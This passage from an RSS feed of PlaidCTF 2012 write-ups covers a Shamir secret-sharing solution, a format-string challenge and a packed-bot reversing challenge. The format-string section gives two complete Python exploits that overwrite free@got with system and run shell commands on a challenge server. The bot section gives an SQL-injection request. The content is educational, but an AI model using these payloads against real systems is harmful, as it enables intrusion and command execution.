	res += <span style="color: black;">&#40;</span>y <span style="color: #66cc66;">*</span> top <span style="color: #66cc66;">*</span> invmod<span style="color: black;">&#40;</span>bottom, p<span style="color: black;">&#41;</span><span style="color: black;">&#41;</span> <span style="color: #66cc66;">%</span> p
	res <span style="color: #66cc66;">%</span>= p
&nbsp;
<span style="color: #ff7700;font-weight:bold;">print</span> res
<span style="color: #ff7700;font-weight:bold;">print</span> n2s<span style="color: black;">&#40;</span>res<span style="color: black;">&#41;</span></pre></div></div>


<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">$ py shamir.py 
<span style="color: #000000;">723126740974638694358413759917266643240116870314821228110113</span>
s3cr3t_5h4r1n9_i5_H4RD_<span style="color: #000000; font-weight: bold;">!!</span></pre></div></div>

<p>The flag: <strong>s3cr3t_5h4r1n9_i5_H4RD_!!</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://leetmore.ctf.su/wp/plaidctf-2012-nuclear-launch-detected-150-password-guessing/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PlaidCTF 2012 – Format [99] (Pwnables)</title>
		<link>http://leetmore.ctf.su/wp/plaidctf-2012-format-99-pwnables/</link>
		<comments>http://leetmore.ctf.su/wp/plaidctf-2012-format-99-pwnables/#comments</comments>
		<pubDate>Tue, 01 May 2012 03:36:28 +0000</pubDate>
		<dc:creator>zyx2145</dc:creator>
				<category><![CDATA[Writeups]]></category>
		<category><![CDATA[2012]]></category>
		<category><![CDATA[ctf]]></category>
		<category><![CDATA[exploitation]]></category>
		<category><![CDATA[formatstring]]></category>
		<category><![CDATA[pctf]]></category>
		<category><![CDATA[plaid]]></category>

		<guid isPermaLink="false">http://leetmore.ctf.su/?p=2486</guid>
		<description><![CDATA[Up on a hill, far away, sits the robot king of old. While he was once great, he recently has seemed to just offer simple challenges. Vanquish him and bring honor to your team! Summary: rand guessing, format string exploitation  File is x86 ELF which consists plenty of format string vulnerabilities. But to exploit them we&#8230; <a class="continue_reading" href="http://leetmore.ctf.su/wp/plaidctf-2012-format-99-pwnables/">Continue reading &#187;</a>]]></description>
			<content:encoded><![CDATA[<blockquote><p>Up on a hill, far away, sits the robot king of old. While he was once great, he recently has seemed to just offer <a href="http://leetmore.ctf.su/wp-content/uploads/files/plaidctf2012/format/format.tar" target="_blank">simple challenges</a>. Vanquish him and bring honor to your team!</p></blockquote>
<p><strong>Summary: rand guessing, format string exploitation </strong></p>
<p><span id="more-2486"></span></p>
<p>File is x86 ELF which consists plenty of format string vulnerabilities.</p>
<p><a href="http://leetmore.ctf.su/wp-content/uploads/2012/05/1.png"><img class="alignnone size-full wp-image-2487" title="1" src="http://leetmore.ctf.su/wp-content/uploads/2012/05/1.png" alt="" width="278" height="209" /></a></p>
<p>But to exploit them we have to solve some issues.</p>
<p>First of all, we have to send password. It is kept in file as plain text:</p>
<blockquote><p><strong>&#8220;2ipzLTxTGOtJE0Um&#8221;</strong></p></blockquote>
<p>Second, we have to guess pseudo random number which is generated from time.</p>

<div class="wp_syntax"><div class="code"><pre class="c" style="font-family:monospace;">time<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span>time_t <span style="color: #339933;">*</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">&amp;</span>current_time<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
current_time <span style="color: #339933;">/=</span> <span style="color: #0000dd;">60</span><span style="color: #339933;">;</span>
srand<span style="color: #009900;">&#40;</span>current_time<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
rnd_number <span style="color: #339933;">=</span> rand<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #666666; font-style: italic;">//	…</span>
<span style="color: #000066;">printf</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;Name: &quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
fflush<span style="color: #009900;">&#40;</span>stdout<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
fgets<span style="color: #009900;">&#40;</span>szName<span style="color: #339933;">,</span> <span style="color: #0000dd;">256</span><span style="color: #339933;">,</span> stdin<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000066;">printf</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;Guess: &quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
fflush<span style="color: #009900;">&#40;</span>stdout<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
fgets<span style="color: #009900;">&#40;</span>szGuess<span style="color: #339933;">,</span> <span style="color: #0000dd;">32</span><span style="color: #339933;">,</span> stdin<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
our_number <span style="color: #339933;">=</span> atoi<span style="color: #009900;">&#40;</span>szGuess<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span> our_number <span style="color: #339933;">!=</span> rnd_number <span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
    puts<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;Wrong value!&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    exit<span style="color: #009900;">&#40;</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

<p>There are two the easiest ways to guess.</p>
<p>To write small program like:</p>

<div class="wp_syntax"><div class="code"><pre class="c" style="font-family:monospace;"><span style="color: #339933;">#include &lt;time.h&gt;</span>
<span style="color: #993333;">void</span> main<span style="color: #009900;">&#40;</span><span style="color: #993333;">void</span><span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
  time_t curr_time<span style="color: #339933;">;</span>
  srand<span style="color: #009900;">&#40;</span>time<span style="color: #009900;">&#40;</span><span style="color: #339933;">&amp;</span>curr_time<span style="color: #009900;">&#41;</span><span style="color: #339933;">/</span><span style="color: #0000dd;">60</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  <span style="color: #000066;">printf</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;%d&quot;</span><span style="color: #339933;">,</span> rand<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

<p>and to execute it before starting a target program.</p>
<p>If we are going to write exploit at python we can use ctypes lib (hellman’s idea =) )</p>

<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;">LIBC = ctypes.<span style="color: black;">cdll</span>.<span style="color: black;">LoadLibrary</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;./libc.so.6&quot;</span><span style="color: black;">&#41;</span>
t = LIBC.<span style="color: #dc143c;">time</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">0</span><span style="color: black;">&#41;</span>/<span style="color: #ff4500;">60</span>
LIBC.<span style="color: black;">srand</span><span style="color: black;">&#40;</span>t<span style="color: black;">&#41;</span>
<span style="color: #ff7700;font-weight:bold;">return</span> <span style="color: #008000;">str</span><span style="color: black;">&#40;</span>LIBC.<span style="color: black;">rand</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span><span style="color: black;">&#41;</span></pre></div></div>

<p>So, now we are ready to exploit target program. Finally, we decide to use a <strong>printf (0x080489FD)</strong> after <strong>snprintf (0x080489F1)</strong>. Rewrite <strong>free@got</strong> with <strong>system@libc</strong>, which address can be calculated from a memory leak and an offset from given library.</p>
<p>There are two exploits:<br />
<strong><a href="http://leetmore.ctf.su/wp-content/uploads/files/plaidctf2012/format/ex2.py">By zyx2145:</a></strong></p>

<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #808080; font-style: italic;">#!/usr/bin/python</span>
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">os</span>
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">subprocess</span> 
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">sys</span>
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">struct</span>
<span style="color: #ff7700;font-weight:bold;">import</span> ctypes
&nbsp;
<span style="color: #ff7700;font-weight:bold;">def</span> get_rnd_str<span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>:
   LIBC = ctypes.<span style="color: black;">cdll</span>.<span style="color: black;">LoadLibrary</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;./libc.so.6&quot;</span><span style="color: black;">&#41;</span> 
   t = LIBC.<span style="color: #dc143c;">time</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">0</span><span style="color: black;">&#41;</span>/<span style="color: #ff4500;">60</span>
   LIBC.<span style="color: black;">srand</span><span style="color: black;">&#40;</span>t<span style="color: black;">&#41;</span>
   <span style="color: #ff7700;font-weight:bold;">return</span> <span style="color: #008000;">str</span><span style="color: black;">&#40;</span>LIBC.<span style="color: black;">rand</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span><span style="color: black;">&#41;</span>
&nbsp;
<span style="color: #808080; font-style: italic;">################################## get real address of system ##########################</span>
PW = <span style="color: #483d8b;">&quot;2ipzLTxTGOtJE0Um<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span>
addr = 0x8049E30 <span style="color: #808080; font-style: italic;"># atoi address</span>
system_org = 0x00039100 <span style="color: #808080; font-style: italic;"># system offset in libc.so.6</span>
atoi_org = 0x0002D870 <span style="color: #808080; font-style: italic;"># atoi offset in libc.so.6</span>
buf = PW + <span style="color: #dc143c;">struct</span>.<span style="color: black;">pack</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;&lt;I&quot;</span>, addr<span style="color: black;">&#41;</span> + <span style="color: #483d8b;">&quot;XXXX%19$s<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span>
buf += get_rnd_str<span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
&nbsp;
p2 = <span style="color: #dc143c;">subprocess</span>.<span style="color: black;">Popen</span><span style="color: black;">&#40;</span><span style="color: black;">&#91;</span><span style="color: #483d8b;">&quot;./problem&quot;</span><span style="color: black;">&#93;</span>,  stdout=<span style="color: #dc143c;">subprocess</span>.<span style="color: black;">PIPE</span>, stdin=<span style="color: #dc143c;">subprocess</span>.<span style="color: black;">PIPE</span><span style="color: black;">&#41;</span>
p2.<span style="color: black;">stdin</span>.<span style="color: black;">write</span><span style="color: black;">&#40;</span>buf<span style="color: black;">&#41;</span>
result = p2.<span style="color: black;">communicate</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span><span style="color: black;">&#91;</span><span style="color: #ff4500;">0</span><span style="color: black;">&#93;</span>
system = <span style="color: #dc143c;">struct</span>.<span style="color: black;">unpack</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;&lt;I&quot;</span>,result<span style="color: black;">&#91;</span>result.<span style="color: black;">find</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;XXXX&quot;</span><span style="color: black;">&#41;</span>+<span style="color: #ff4500;">4</span>:result.<span style="color: black;">find</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;XXXX&quot;</span><span style="color: black;">&#41;</span>+<span style="color: #ff4500;">8</span><span style="color: black;">&#93;</span><span style="color: black;">&#41;</span><span style="color: black;">&#91;</span><span style="color: #ff4500;">0</span><span style="color: black;">&#93;</span>
&nbsp;
<span style="color: #808080; font-style: italic;">####################################### execute cat key ################################</span>
buf = PW
addr = 0x08049e18 <span style="color: #808080; font-style: italic;"># address of free GOT</span>
system = system + <span style="color: black;">&#40;</span>system_org-atoi_org<span style="color: black;">&#41;</span> <span style="color: #808080; font-style: italic;"># calculate real system address</span>
high = system <span style="color: #66cc66;">&gt;&gt;</span> <span style="color: #ff4500;">16</span>
low = system <span style="color: #66cc66;">&amp;</span> 0xFFFF
start = <span style="color: #ff4500;">8</span>
<span style="color: #ff7700;font-weight:bold;">if</span> high <span style="color: #66cc66;">&lt;</span> low:
   buf += <span style="color: #dc143c;">struct</span>.<span style="color: black;">pack</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;&lt;I&quot;</span>, addr+<span style="color: #ff4500;">2</span><span style="color: black;">&#41;</span> + <span style="color: #dc143c;">struct</span>.<span style="color: black;">pack</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;&lt;I&quot;</span>, addr<span style="color: black;">&#41;</span>+\
          <span style="color: #483d8b;">&quot;%%&quot;</span> + <span style="color: #008000;">str</span><span style="color: black;">&#40;</span>high - start<span style="color: black;">&#41;</span> + <span style="color: #483d8b;">&quot;c%%21$hn&quot;</span>+\
          <span style="color: #483d8b;">&quot;%%&quot;</span> + <span style="color: #008000;">str</span><span style="color: black;">&#40;</span>low - high<span style="color: black;">&#41;</span> + <span style="color: #483d8b;">&quot;c%%22$hn&quot;</span>+<span style="color: #483d8b;">&quot;; cat key<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span>
<span style="color: #ff7700;font-weight:bold;">else</span>:
   buf += <span style="color: #dc143c;">struct</span>.<span style="color: black;">pack</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;&lt;I&quot;</span>, addr<span style="color: black;">&#41;</span> + <span style="color: #dc143c;">struct</span>.<span style="color: black;">pack</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;&lt;I&quot;</span>, addr+<span style="color: #ff4500;">2</span><span style="color: black;">&#41;</span>+\
          <span style="color: #483d8b;">&quot;%%&quot;</span> + <span style="color: #008000;">str</span><span style="color: black;">&#40;</span>low - start<span style="color: black;">&#41;</span> + <span style="color: #483d8b;">&quot;c%%21$hn&quot;</span>+\
          <span style="color: #483d8b;">&quot;%%&quot;</span> + <span style="color: #008000;">str</span><span style="color: black;">&#40;</span>high - low<span style="color: black;">&#41;</span> + <span style="color: #483d8b;">&quot;c%%22hn&quot;</span>+<span style="color: #483d8b;">&quot;; cat key<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span>
buf += get_rnd_str<span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
&nbsp;
p3 = <span style="color: #dc143c;">subprocess</span>.<span style="color: black;">Popen</span><span style="color: black;">&#40;</span><span style="color: black;">&#91;</span><span style="color: #483d8b;">&quot;./problem&quot;</span><span style="color: black;">&#93;</span>,  stdout=<span style="color: #dc143c;">subprocess</span>.<span style="color: black;">PIPE</span>, stdin=<span style="color: #dc143c;">subprocess</span>.<span style="color: black;">PIPE</span><span style="color: black;">&#41;</span>
p3.<span style="color: black;">stdin</span>.<span style="color: black;">write</span><span style="color: black;">&#40;</span>buf<span style="color: black;">&#41;</span>
result = p3.<span style="color: black;">communicate</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span><span style="color: black;">&#91;</span><span style="color: #ff4500;">0</span><span style="color: black;">&#93;</span>
result = result.<span style="color: black;">replace</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">' '</span>,<span style="color: #483d8b;">''</span><span style="color: black;">&#41;</span>
<span style="color: #ff7700;font-weight:bold;">print</span> result<span style="color: black;">&#91;</span>result.<span style="color: black;">find</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;Bye,&quot;</span><span style="color: black;">&#41;</span>+<span style="color: #ff4500;">8</span>:<span style="color: black;">&#93;</span></pre></div></div>

<p><strong><a href="http://leetmore.ctf.su/wp-content/uploads/files/plaidctf2012/format/format.py">By hellman:</a></strong></p>

<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #808080; font-style: italic;">#!/usr/bin/env python</span>
<span style="color: #808080; font-style: italic;">#-*- coding:utf-8 -*-</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">from</span> inc <span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #66cc66;">*</span>
<span style="color: #ff7700;font-weight:bold;">from</span> libformatstr <span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #66cc66;">*</span>
<span style="color: #ff7700;font-weight:bold;">import</span> ctypes
&nbsp;
PW = <span style="color: #483d8b;">&quot;2ipzLTxTGOtJE0Um<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">def</span> do_fmt<span style="color: black;">&#40;</span>fmt<span style="color: black;">&#41;</span>:
	LIBC = ctypes.<span style="color: black;">cdll</span>.<span style="color: black;">LoadLibrary</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;./libc.so.6&quot;</span><span style="color: black;">&#41;</span> 
	t = LIBC.<span style="color: #dc143c;">time</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">0</span><span style="color: black;">&#41;</span>/<span style="color: #ff4500;">60</span>
	LIBC.<span style="color: black;">srand</span><span style="color: black;">&#40;</span>t<span style="color: black;">&#41;</span>
	rnd = LIBC.<span style="color: black;">rand</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
&nbsp;
	f = Sock<span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;23.20.104.208&quot;</span>, <span style="color: #ff4500;">56345</span>, <span style="color: #ff4500;">10</span><span style="color: black;">&#41;</span>
&nbsp;
	f.<span style="color: black;">read_until</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;: &quot;</span><span style="color: black;">&#41;</span>
	f.<span style="color: black;">send</span><span style="color: black;">&#40;</span>PW<span style="color: black;">&#41;</span>
&nbsp;
	f.<span style="color: black;">read_until</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;: &quot;</span><span style="color: black;">&#41;</span>
	f.<span style="color: black;">send</span><span style="color: black;">&#40;</span>fmt + <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: black;">&#41;</span>
&nbsp;
	f.<span style="color: black;">read_until</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;: &quot;</span><span style="color: black;">&#41;</span>
	f.<span style="color: black;">send</span><span style="color: black;">&#40;</span><span style="color: #008000;">str</span><span style="color: black;">&#40;</span>rnd<span style="color: black;">&#41;</span> + <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: black;">&#41;</span>
&nbsp;
	<span style="color: #ff7700;font-weight:bold;">return</span> f.<span style="color: black;">read_until</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;Bye&quot;</span><span style="color: black;">&#41;</span> + f.<span style="color: black;">read_one</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">def</span> read_dword<span style="color: black;">&#40;</span>addr<span style="color: black;">&#41;</span>:
	res = do_fmt<span style="color: black;">&#40;</span>pack<span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;&lt;I&quot;</span>, addr<span style="color: black;">&#41;</span> + <span style="color: #483d8b;">'0000%19$s'</span><span style="color: black;">&#41;</span>
	<span style="color: #808080; font-style: italic;">#print res</span>
	res = res<span style="color: black;">&#91;</span>res.<span style="color: black;">find</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;playing, &quot;</span><span style="color: black;">&#41;</span> + <span style="color: #ff4500;">9</span>:<span style="color: black;">&#93;</span>
	<span style="color: #ff7700;font-weight:bold;">if</span> res<span style="color: black;">&#91;</span><span style="color: #ff4500;">4</span>:<span style="color: #ff4500;">8</span><span style="color: black;">&#93;</span> <span style="color: #66cc66;">!</span>= <span style="color: #483d8b;">&quot;0000&quot;</span>:
		<span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">&quot;FAIL&quot;</span>
	res = res<span style="color: black;">&#91;</span><span style="color: #ff4500;">8</span>:<span style="color: black;">&#93;</span>
	start = unpack<span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;&lt;I&quot;</span>, res<span style="color: black;">&#91;</span>:<span style="color: #ff4500;">4</span><span style="color: black;">&#93;</span><span style="color: black;">&#41;</span><span style="color: black;">&#91;</span><span style="color: #ff4500;">0</span><span style="color: black;">&#93;</span>
	<span style="color: #ff7700;font-weight:bold;">return</span> start
&nbsp;
system = 0xf7ec8450
<span style="color: #808080; font-style: italic;">#start = read_dword(0x08049e14)</span>
<span style="color: #808080; font-style: italic;">#diff1 = 0x39450 - 0x16bc0</span>
<span style="color: #808080; font-style: italic;">#system = start + diff1</span>
&nbsp;
low = system <span style="color: #66cc66;">&amp;</span> 0xffff
high = system <span style="color: #66cc66;">&gt;&gt;</span> <span style="color: #ff4500;">16</span>
start = <span style="color: #ff4500;">8</span>
&nbsp;
addr = 0x8049E18
r = pack<span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;&lt;I&quot;</span>, addr<span style="color: black;">&#41;</span>
r += pack<span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;&lt;I&quot;</span>, addr+<span style="color: #ff4500;">2</span><span style="color: black;">&#41;</span>
r += <span style="color: #483d8b;">&quot;%%&quot;</span> + <span style="color: #008000;">str</span><span style="color: black;">&#40;</span>low - start<span style="color: black;">&#41;</span> + <span style="color: #483d8b;">&quot;c&quot;</span>
r += <span style="color: #483d8b;">&quot;%%21$hn&quot;</span>
r += <span style="color: #483d8b;">&quot;%%&quot;</span> + <span style="color: #008000;">str</span><span style="color: black;">&#40;</span>high - low<span style="color: black;">&#41;</span> + <span style="color: #483d8b;">&quot;c&quot;</span>
r += <span style="color: #483d8b;">&quot;%%22$hn&quot;</span>
r += <span style="color: #483d8b;">&quot;; &quot;</span> + <span style="color: #dc143c;">sys</span>.<span style="color: black;">argv</span><span style="color: black;">&#91;</span><span style="color: #ff4500;">1</span><span style="color: black;">&#93;</span>
<span style="color: #ff7700;font-weight:bold;">print</span> r
&nbsp;
LIBC = ctypes.<span style="color: black;">cdll</span>.<span style="color: black;">LoadLibrary</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;./libc.so.6&quot;</span><span style="color: black;">&#41;</span> 
t = LIBC.<span style="color: #dc143c;">time</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">0</span><span style="color: black;">&#41;</span>/<span style="color: #ff4500;">60</span>
LIBC.<span style="color: black;">srand</span><span style="color: black;">&#40;</span>t<span style="color: black;">&#41;</span>
rnd = LIBC.<span style="color: black;">rand</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
f = Sock<span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;23.20.104.208&quot;</span>, <span style="color: #ff4500;">56345</span>, <span style="color: #ff4500;">10</span><span style="color: black;">&#41;</span>
f.<span style="color: black;">read_until</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;: &quot;</span><span style="color: black;">&#41;</span>
f.<span style="color: black;">send</span><span style="color: black;">&#40;</span>PW<span style="color: black;">&#41;</span>
f.<span style="color: black;">read_until</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;: &quot;</span><span style="color: black;">&#41;</span>
f.<span style="color: black;">send</span><span style="color: black;">&#40;</span>r + <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: black;">&#41;</span>
f.<span style="color: black;">read_until</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;: &quot;</span><span style="color: black;">&#41;</span>
f.<span style="color: black;">send</span><span style="color: black;">&#40;</span><span style="color: #008000;">str</span><span style="color: black;">&#40;</span>rnd<span style="color: black;">&#41;</span> + <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: black;">&#41;</span>
&nbsp;
s = <span style="color: #483d8b;">&quot;&quot;</span>
<span style="color: #ff7700;font-weight:bold;">while</span> <span style="color: #ff7700;font-weight:bold;">not</span> f.<span style="color: black;">eof</span>:
	<span style="color: #ff7700;font-weight:bold;">try</span>:
		s += f.<span style="color: black;">read_one</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
	<span style="color: #ff7700;font-weight:bold;">except</span>:
		<span style="color: #ff7700;font-weight:bold;">pass</span>
&nbsp;
s = s<span style="color: black;">&#91;</span>s.<span style="color: black;">find</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;not found&quot;</span><span style="color: black;">&#41;</span>+<span style="color: #ff4500;">9</span>:<span style="color: black;">&#93;</span>
s = s<span style="color: black;">&#91;</span>s.<span style="color: black;">find</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;not found&quot;</span><span style="color: black;">&#41;</span>+<span style="color: #ff4500;">9</span>:<span style="color: black;">&#93;</span>
<span style="color: #ff7700;font-weight:bold;">print</span> s</pre></div></div>

<p><strong>Well done =)</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://leetmore.ctf.su/wp/plaidctf-2012-format-99-pwnables/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PlaidCTF 2012 &#8211; Bouncer [250] (Practical Packets)</title>
		<link>http://leetmore.ctf.su/wp/plaidctf-2012-bouncer-250-practical-packets/</link>
		<comments>http://leetmore.ctf.su/wp/plaidctf-2012-bouncer-250-practical-packets/#comments</comments>
		<pubDate>Mon, 30 Apr 2012 17:50:33 +0000</pubDate>
		<dc:creator>zyx2145</dc:creator>
				<category><![CDATA[Writeups]]></category>
		<category><![CDATA[2012]]></category>
		<category><![CDATA[ctf]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[plaid]]></category>
		<category><![CDATA[reverse]]></category>
		<category><![CDATA[x64]]></category>

		<guid isPermaLink="false">http://leetmore.ctf.su/?p=2475</guid>
		<description><![CDATA[In a recent battle we took an enemy robot hostage and examined his operating system. During the examination we found a piece of robot malware that we don&#8217;t quite understand. Can you enumerate its targets? This challenge was made by our friends at ManTech. If you enjoyed it, you might be interested in working for them. Summary: unpack&#8230; <a class="continue_reading" href="http://leetmore.ctf.su/wp/plaidctf-2012-bouncer-250-practical-packets/">Continue reading &#187;</a>]]></description>
			<content:encoded><![CDATA[<blockquote><p>In a recent battle we took an enemy robot hostage and examined his operating system. During the examination we found a <a href="http://leetmore.ctf.su/wp-content/uploads/files/plaidctf2012/Bouncer/problem">piece of robot malware </a>that we don&#8217;t quite understand. Can you enumerate its targets?<br />
This challenge was made by our friends at ManTech. If you enjoyed it, you might be interested in <a href="http://www.mantech.com/solutions/Cyber%20Security/Pages/default.aspx">working for them</a>.</p></blockquote>
<p><strong>Summary: unpack x64 ELF, bot request analysis.</strong></p>
<p><span id="more-2475"></span></p>
<p>A file is packed x64 ELF. An unpack algorithm is easy. Set hardware breakpoint at read/write encrypted memory (for example 0x01001A0) and find that program unpack itself to allocated memory.</p>
<p>An unpacking procedure :</p>
<p><a href="http://leetmore.ctf.su/wp-content/uploads/2012/04/1.png"><img class="alignnone size-full wp-image-2476" title="1" src="http://leetmore.ctf.su/wp-content/uploads/2012/04/1.png" alt="" width="426" height="335" /></a></p>
<p>Allocated memory:</p>
<p><a href="http://leetmore.ctf.su/wp-content/uploads/2012/04/2.png"><img class="alignnone size-full wp-image-2477" title="2" src="http://leetmore.ctf.su/wp-content/uploads/2012/04/2.png" alt="" width="277" height="175" /></a></p>
<p>If you dump allocated memory after unpacking you will find unpacked file. Even though, unfortunately, all references to curl functions (and any lib functions) is invalid, unpacked file is small, and we can easily analyze it.</p>
<p>First of all, check strings:</p>
<p><a href="http://leetmore.ctf.su/wp-content/uploads/2012/04/31.jpg"><img class="alignnone size-full wp-image-2479" title="3" src="http://leetmore.ctf.su/wp-content/uploads/2012/04/31.jpg" alt="" width="525" height="148" /></a></p>
<p>It looks like parts of HTTP request strings. So, the file seems to be a bot which does two HTTP requests. A first request performs to take a port number for a second request.</p>
<p><a href="http://leetmore.ctf.su/wp-content/uploads/2012/04/6.png"><img class="alignnone size-full wp-image-2480" title="6" src="http://leetmore.ctf.su/wp-content/uploads/2012/04/6.png" alt="" width="562" height="419" /></a></p>
<blockquote><p><strong>port2 = answer*4 + 0&#215;400</strong></p></blockquote>
<p>After that, program calculates a hash from id = “1337” and create a base64 string from this hash.</p>
<p>The hash is calculated by easy formula from id. It xors each byte of id with 2 and base64s result.</p>
<p><a href="http://leetmore.ctf.su/wp-content/uploads/2012/04/5.png"><img class="alignnone size-full wp-image-2481" title="5" src="http://leetmore.ctf.su/wp-content/uploads/2012/04/5.png" alt="" width="480" height="260" /></a></p>
<p>Then, the program constructs and performs a second request:</p>
<p><a href="http://leetmore.ctf.su/wp-content/uploads/2012/04/7.png"><img class="alignnone size-full wp-image-2482" title="7" src="http://leetmore.ctf.su/wp-content/uploads/2012/04/7.png" alt="" width="554" height="277" /></a></p>
<p>There is an example of second request:</p>
<blockquote><p><a href="about:blank">http://174.129.48.200:&lt;port&gt;/?id=1337&amp;hash=MzExNQ%3D%3D</a></p></blockquote>
<p>Because we know that we can put any id in request. We tried easy sqli and it worked:</p>
<blockquote><p>GET /?id=&gt;1&#8242;%20or%201%20&#8211;&amp;hash=PDMlIm1wIjMiLy8= HTTP/1.1<br />
Host: 174.129.48.200:5555<br />
Accept: */*</p></blockquote>
<p><strong><span style="text-decoration: underline;">Notice:</span></strong> a server incorrectly processes space symbol, so we should send<br />
<strong>id</strong> = “&gt;1&#8242;%20or%201%20&#8211;&amp;” but<br />
<strong>hash</strong> = calc_hash(“&gt;1&#8242; or 1 &#8211;”)</p>
<p>Key: <strong>Pwning1$m0reFunWhenTargetsBounce</strong><br />
<a href="http://leetmore.ctf.su/wp-content/uploads/files/plaidctf2012/Bouncer/ex2.py"> Exploit here.</a></p>
<p>&nbsp;</p>
]]></content:encoded>
